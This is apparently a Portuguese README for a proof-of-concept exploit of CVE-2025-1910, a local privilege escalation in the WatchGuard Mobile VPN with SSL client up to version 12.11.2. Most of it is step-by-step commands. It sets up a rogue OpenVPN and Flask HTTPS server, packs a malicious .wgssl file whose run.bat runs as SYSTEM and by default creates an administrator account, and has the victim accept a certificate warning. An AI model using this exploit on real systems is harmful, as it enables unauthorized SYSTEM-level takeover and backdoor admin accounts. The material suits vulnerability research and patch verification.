
Prova de conceito para explorar a CVE-2025-1910, uma elevação de privilégio local no cliente Mobile VPN with SSL da Watchguard.
Uma vulnerabilidade de escalação de privilégios no Mobile VPN with SSL da WatchGuard <= 12.11.2 permite que um usuário de baixo privilégio execute comandos como SYSTEM no cliente. Testado com o Mobile VPN with SSL versão 12.11.2.
Para mais detalhes, consulte nosso artigo do blog (versão em alemão).
sudo openvpn --config server.conf

Modifique a opção remote em ./client/client.ovpn para apontar para o servidor OpenVPN
Modifique ./client/run.bat conforme sua preferência; este script será executado como SYSTEM. Por padrão, um novo usuário administrador é criado (shinyNewAdmin)
Crie o arquivo malicioso client.wgssl do WatchGuard:
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl via flask:# Start the flask HTTPS server
sudo python3 srv.py

Opcionalmente, um novo par de certificado e chave pode ser criado via openssl:
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
Em seguida, na máquina da vítima onde uma versão vulnerável do Mobile VPN with SSL está instalada (por exemplo, versão 12.11.2, Download), tente conectar-se ao servidor do atacante. O nome de usuário e a senha informados não importam:

Clique em Sim no alerta de segurança para ignorar os avisos de certificado:

Após a conexão ser estabelecida com sucesso, o arquivo run.bat é executado e o usuário shinyNewAdmin é criado:

No servidor do atacante, você precisa ter Python, openssl e openvpn instalados. Além disso, o pacote Python flask precisa ser instalado:
pip install -r requirements.txt
Com o Nix instalado, você pode simplesmente iniciar o shell de desenvolvimento:
nix develop